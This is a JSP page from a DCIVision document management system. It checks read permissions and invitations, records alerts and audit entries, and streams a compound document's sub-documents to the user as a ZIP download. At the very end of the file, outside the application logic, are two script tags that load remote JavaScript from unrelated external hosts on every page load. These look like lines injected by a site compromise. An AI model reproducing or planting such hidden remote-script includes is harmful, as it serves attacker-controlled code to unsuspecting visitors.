<%
/*
 * @(#)ZipCompoundDownload.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ZipCompoundDownload.jsp

  This class is used to retrieve the document content from http

  @author          Jenny
  @company         DCIVision Limited
  @creation date   07/07/2004
  @version         $Revision: 1.18.4.5 $
*/
%><%@page import="com.dcivision.dms.core.ZipDownloader"
%><%@page import="org.apache.tools.zip.*"
%><%@page import="java.io.*"
%><%@page import="java.sql.*"
%><%@page import="java.net.URLConnection"
%><%@page import="java.net.URLDecoder"
%><%@page import="javax.sql.*"
%><%@page import="java.util.*"
%><%@page import="com.dcivision.framework.*"
%><%@page import="com.dcivision.dms.*"
%><%@page import="com.dcivision.dms.bean.*"
%><%@page import="com.dcivision.dms.core.*"
%><%@page import="com.dcivision.dms.dao.*"
%><%@page import="com.dcivision.alert.bean.*"
%><%@page import="com.dcivision.alert.core.*"
%><%@page import="com.dcivision.alert.dao.*"
%><%@page import="com.dcivision.audit.*"
%><%@page import="com.dcivision.audit.bean.*"
%><%@page import="com.dcivision.audit.core.*"
%><%@page import="org.apache.struts.action.Action"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%@ taglib uri="/tags/struts-html" prefix="html"
%><%@ taglib uri="/tags/struts-bean" prefix="bean"
%><%@ taglib uri="/tags/struts-logic" prefix="logic"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
// Retrieval Document ID and its Version ID
Integer targetID = TextUtility.parseIntegerObj(request.getParameter("targetID"));
String version = request.getParameter("version");
Integer versionID = new Integer (1);
boolean isDownload = "Y".equals(request.getParameter("isDownload"));
response.reset();
InputStream dataStream = null;
Connection conn = null;
try {
  conn = DataSourceFactory.getConnection();
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DocumentOperationManager docOperationManager=new DocumentOperationManager(sessionContainer,conn);
  MtmDocumentRelationshipDAObject docRelationshipDAO = new MtmDocumentRelationshipDAObject(sessionContainer, conn);
  AlertManager alertManager = new AlertManager(sessionContainer, conn);
	
	//Add By Jim Zhou     2006/10/20    EIP-336
	UpdateAlertDAObject updateAlertDAO = new UpdateAlertDAObject(sessionContainer,conn);
	UpdateAlertTypeDAObject updateAlertTypeDAO = new UpdateAlertTypeDAObject(sessionContainer,conn);
	UpdateAlertSystemLogDAObject updateAlertSystemLogDAObject = new UpdateAlertSystemLogDAObject(sessionContainer,conn);
	MtmUpdateAlertRecipientDAObject mtmUpdateAlertRecipientDAObject= new MtmUpdateAlertRecipientDAObject(sessionContainer,conn);
	String errorMessage = null;    
	Integer updateAlertID = null;
	Integer updateAlertTypeID = null;
	Integer updateAlertSystemLogID = null;
	UpdateAlert updateAlert = ((UpdateAlert)updateAlertDAO.getByObjectTypeObjectID(DmsDocument.DOCUMENT_TYPE,targetID));
	if (!Utility.isEmpty(updateAlert)) {
		updateAlertID = updateAlert.getID();
		try{
			UpdateAlertType updateAlertType= (UpdateAlertType)updateAlertTypeDAO.getByUpdateAlertIDAndActionType(updateAlertID,"I");
			if (!Utility.isEmpty(updateAlertType)) {
				updateAlertTypeID = updateAlertType.getID();
			}
		} catch (Exception e){
			//do nothing
		}
		try {
			UpdateAlertSystemLog updateAlertSystemLog = (UpdateAlertSystemLog)updateAlertSystemLogDAObject.getSystemLogByUpdateAlertIDActionType(updateAlertID,"I");
			if (!Utility.isEmpty(updateAlertSystemLog)) {
				updateAlertSystemLogID = updateAlertSystemLog.getID();
				if (updateAlertSystemLogID==null) {
					updateAlertSystemLogID = TextUtility.parseIntegerObj(request.getParameter("systemLogID"));
				}    
			}
		} catch (Exception e) {
			//do nothing
		}
	}
	//Add End

  String name = "";
  DmsDocument document = (DmsDocument) docRetrievalManager.getDocument(targetID);
  List paperSublist=new ArrayList();
  if(DmsDocument.PAPER_DOC_TYPE.equals(document.getDocumentType())){
    paperSublist= docOperationManager.getSubDocumentByParentID(document.getID()); 
  }
  if(DmsDocument.COMPOUND_DOC_TYPE.equals(document.getDocumentType()) || 
    (DmsDocument.PAPER_DOC_TYPE.equals(document.getDocumentType()) && paperSublist.size()>0) ||
     DmsDocument.EMAIL_DOC_TYPE.equals(document.getDocumentType()) ||
     DmsDocument.FORM_DOC_TYPE.equals(document.getDocumentType()) ||
     DmsDocument.FLOW_DOC_TYPE.equals(document.getDocumentType()) ) { 
     
    DmsVersion dmsVersion = new DmsVersion();
    Integer contentID = new Integer(0);
    if (!Utility.isEmpty(version) && !DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
      versionID = TextUtility.parseIntegerObj(version);
      dmsVersion = (DmsVersion)docRetrievalManager.getVersionByVersionID(versionID);
      contentID = dmsVersion.getContentID();
    } else if (DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
      dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(targetID);
      contentID = dmsVersion.getContentID();
    }

  /* Check for Alert, audit trail */

  //Alert Manager
  AdapterMaster am = AdapterMasterFactory.getAdapterMaster(sessionContainer, conn);
  DmsDocument parentDoc = (DmsDocument) docRetrievalManager.getDocument(document.getParentID());

  try {
    LogFactory.getLog(this.getClass()).debug("call AM!!!!!");
    LogFactory.getLog(this.getClass()).debug("newDmsDocument.getDocumentName() is " + document.getDocumentName());
    am.call(UpdateAlert.DOCUMENT_TYPE, document.getID(), UpdateAlert.VIEW_ACTION,
    document.getDocumentName(), null, null, null );
    LogFactory.getLog(this.getClass()).debug("parentDoc.getDocumentName() is " + parentDoc.getDocumentName());
    am.call(UpdateAlert.DOCUMENT_TYPE, parentDoc.getID(), UpdateAlert.VIEW_ACTION, document.getDocumentName(), null, null, null, document.getID() );
    if(docRetrievalManager.hasRelationship(document.getID(),null)){
      List relationList=(List)docRelationshipDAO.getListByIDRelationType(document.getID(),null);
      List inRelationList=(List)docRelationshipDAO.getListByRelationIDRelationType(document.getID(),null);
      List alertList=new ArrayList();
      if(!Utility.isEmpty(relationList)){
        for(int i=0;i<relationList.size();i++){
          alertList = alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
          if(!Utility.isEmpty(alertList)){
          am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
             null,null,null,document.getID());
          }
        }
      }
      if(!Utility.isEmpty(inRelationList)){
        for(int i=0;i<inRelationList.size();i++){
          alertList= alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
          if(!Utility.isEmpty(alertList)){
           am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
            null,null,null,document.getID());
          }
        }
      }
    }
    LogFactory.getLog(this.getClass()).debug("finished AM!!!!!");
  }catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  }

  // log down in audit trail
  AuditTrailManager auditManager = new AuditTrailManager(sessionContainer, conn);
  if (sessionContainer.getUserRecordID()!=null)
    auditManager.auditTrail(GlobalConstant.OBJECT_TYPE_DOCUMENT, document, AuditTrailConstant.ACCESS_TYPE_VIEW, dmsVersion.getVersionNumber());

  conn.commit();
  /* End for the alert and audit trail handling */

  InputStream inputStream = null;
  try {
    String zipfilename = TextUtility.getURLEncodeInUTF8(document.getDocumentName());
    zipfilename = TextUtility.replaceString(zipfilename, "+", "%20");
    response.addHeader("Content-Transfer-Encoding", "base64");
    response.addHeader("Content-Disposition", "attachment; filename="+zipfilename+".zip");    //addheader so that filename can auto put into the download dialog box
    response.setContentType("application/x-zip-compressed");                           //set the file type default unrecognized so that other browser can download
    ZipOutputStream sos = new ZipOutputStream(response.getOutputStream());             //put the outputstream to client
    sos.setMethod(ZipOutputStream.DEFLATED);
		/*
		 * Update Code Start
		 * Author			Jim.Zhou
		 * Date			2006/04/12
		 * Bug			#4820
		 */
    DocumentRetrievalManager docRetrieval = new DocumentRetrievalManager(sessionContainer,conn);
		sos.setEncoding(docRetrieval.getZipFileDefaultEncode());
		/*
		 * Update Code End
		 */
		//SessionContainer sessionContainer
    //DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    //DocumentOperationManager docOperationManager=new DocumentOperationManager(sessionContainer,conn);
    //List list=new ArrayList();
  	PermissionManager permManager = sessionContainer.getPermissionManager();
		
		//Add By Jim Zhou       2006/10/20      EIP-336
		boolean hasInvitation = false;
		//boolean hasPermission = permManager.hasAccessRight(conn, "D", documentId, rootType, rootOwnerId, "R");
		boolean hasPermission = permManager.hasAccessRight("D",document.getID(),"R");
		if (!hasPermission) {
			Integer tmpUpdateAlertID = updateAlertDAO.getInvitationIDByAlertIDorSystemLogID(updateAlertID, updateAlertSystemLogID);
			if (tmpUpdateAlertID!=null) {
				List invitations = mtmUpdateAlertRecipientDAObject.getInvitationList(targetID, tmpUpdateAlertID, sessionContainer.getUserRecordID(), permManager.getUserRoles(), permManager.getUserGroups());
				if (invitations.isEmpty()) {
					errorMessage = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.dms.invitation.fail.canced");
				}else {
					String errorKey = null;
					for (int i=0; i<invitations.size(); i++) {
						MtmUpdateAlertRecipient recipient = (MtmUpdateAlertRecipient)invitations.get(i);
						UpdateAlertType updateAlertType = null;
						try {
							updateAlertType = (UpdateAlertType)updateAlertTypeDAO.getObjectByID(recipient.getUpdateAlertTypeID());
						}catch (Exception ex) {
							errorKey = "errors.dms.invitation.fail.canced";
						}
						if (updateAlertType==null) {
							errorKey = "errors.dms.invitation.fail.canced";
						}else {
							Timestamp dueDate = updateAlertType.getDueDate();
							if (dueDate!=null && System.currentTimeMillis()-dueDate.getTime()>86400000) {
								errorKey = "errors.dms.invitation.fail.expired";
							}else {
								hasInvitation = true;
								break;
							}
						}
					}
					if (!hasInvitation) errorMessage = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), errorKey);
				}
			}else {
				errorMessage = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.dms.alert.fail.noright");
			}
		}
		//Add End
		
    List list=docOperationManager.getSubDocumentByParentID(targetID);
    if(DmsDocument.COMPOUND_DOC_TYPE.equals(document.getDocumentType()) ||
       DmsDocument.EMAIL_DOC_TYPE.equals(document.getDocumentType()) ||
       DmsDocument.FORM_DOC_TYPE.equals(document.getDocumentType()) ||
       DmsDocument.FLOW_DOC_TYPE.equals(document.getDocumentType()) ){
      list.add(document);
    }
    if(!Utility.isEmpty(list)){
      for(int i=0;i<list.size();i++){
        DmsDocument dmsDocument=(DmsDocument)list.get(i);
		LogFactory.getLog(this.getClass()).debug("dmsDocument.getID()  is "+ dmsDocument.getID());
		//check the ziped file if have  permission  to read
		//Update By Jim Zhou			2006/10/20			EIP-336
		if (!permManager.hasAccessRight("D",dmsDocument.getID(),"R") && !hasInvitation) {
		//if (!permManager.hasAccessRight("D",dmsDocument.getID(),"R")){
			continue;
		}
        String fName =dmsDocument.getDocumentName(); 

        DmsVersion sVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(dmsDocument.getID());
        contentID = sVersion.getContentID();
        if (DmsDocument.DOCUMENT_LINK.equals(dmsDocument.getDocumentType())){
          Integer targetDocID = (Integer) docRelationshipDAO.getTargetDocIDByRelatedDocID(dmsDocument.getID(), dmsDocument.getDocumentType());
          DmsDocument targetDoc = (DmsDocument)docRetrievalManager.getDocument(targetDocID);
          /* Used to update the doc link name and type; Wont infulence the getDocumentProfileInfo() */
          if (targetDoc!=null) {
            targetDoc.setDocumentName(dmsDocument.getDocumentName());
            targetDoc.setDocumentType(dmsDocument.getDocumentType());
            //update the doc ID for shortcut linkage
            //targetID = targetDocID;
            dmsDocument = targetDoc;
            if(!DmsDocument.DOCUMENT_TYPE.equals(dmsDocument.getDocumentType()) ){
              continue;
            }
            //update the real link document version
            dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(targetDocID);
            contentID = dmsVersion.getContentID();

          } else {
            document.setRecordStatus(GlobalConstant.RECORD_STATUS_INACTIVE);
          }
        }
		//barbin 2006-5-24
		if (fName.indexOf(".") > 0) {
          fName = fName.substring(0,fName.indexOf(".")+1);
        }        
		DmsContent docContentNew = (DmsContent)docRetrievalManager.getContentByContentID(contentID);
        if (!Utility.isEmpty(docContentNew.getExt())) {
          fName = fName + docContentNew.getExt().toLowerCase();
        }
        //fName = TextUtility.getURLEncodeInUTF8(fName);
        if (!GlobalConstant.RECORD_STATUS_INACTIVE.equals(document.getRecordStatus())) {
          DmsContent docContent = (DmsContent)docRetrievalManager.getContentByContentID(contentID);
          String dmsCconverted = (String) URLDecoder.decode(docContent.getConvertedName(), "UTF-8");
          DmsContentStoreHandler contentStoreHandler = null;
          try {
            contentStoreHandler = (DmsContentStoreHandler)Class.forName(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_CONTENT_STORE_CLASS)).newInstance();
          } catch (Exception e) {
            throw new ApplicationException(DmsErrorConstant.NAME_CONVERTOR_CLASS_NOT_FOUND);
          }
          if(docContent.getSegmentNO()!=null) {
              contentStoreHandler.setProperty(DmsContentStoreHandler.SEGMENTNUM_PROPERTY, docContent.getSegmentNO());
          }
          contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_NAME_PROPERTY, dmsCconverted);
          String newFoldersDir = docRetrievalManager.getFoldersDirectories(dmsDocument).toString();
          contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_PHYSICAL_PATH, newFoldersDir);
          dataStream = contentStoreHandler.readStream();
          ZipEntry theEntry = new ZipEntry(fName);
          sos.putNextEntry(theEntry);
             
          byte[] buffer = new byte[8192];
          int length = -1;
          inputStream = dataStream;

          while ((length = inputStream.read(buffer, 0, 8192)) != -1) {
            sos.write(buffer, 0, length);
          } 
        } 
      }
    }
    sos.flush();
    sos.close();
  }
  catch (Exception e) {
    //log.error(e, e);
    throw new ApplicationException(com.dcivision.framework.ErrorConstant.COMMON_FATAL_ERROR, e);
  }
  finally {
    try { inputStream.close(); } catch (Exception ignore) {}
  }
 }else{
      out.println("<script language=\"javascript\">");
      out.println("function callReferrer(url){");
      out.println("    if (url ==''){history.back();}else{ ");
      out.println("    window.location.href = url;} ");
      out.println("    return false; ");
      out.println("}");
      out.println("</script>");

      out.println("<table cellpadding=\"20\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
      out.println("<!-- Error Messages -->");
      out.println("<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" width=\"100%\"><tr><td>");
      out.println("<UL TYPE=\"square\" style=\"color:#FF0000;font-weight:bold\">");
      out.println("<LI> " + MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.dms.no_subdocument_cannot_download"));
      out.println("</LI></UL>");
      out.println("</td></tr><tr><td>");
      if (isDownload==true){
%>
		<html:standardButton label="common.label.back" onClick="return callReferrer(document.referrer);"/>
<%          
      } else {
%>
		<html:standardButton label="common.label.close" onClick="window.close();"/>
<%
      }
      out.println("</td></tr></table>");
 }
}
catch (Exception e) {
 LogFactory.getLog(this.getClass()).error(e, e);
}
finally {
  try { dataStream.close(); } catch (Exception ignore) {} finally { dataStream = null; }
  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>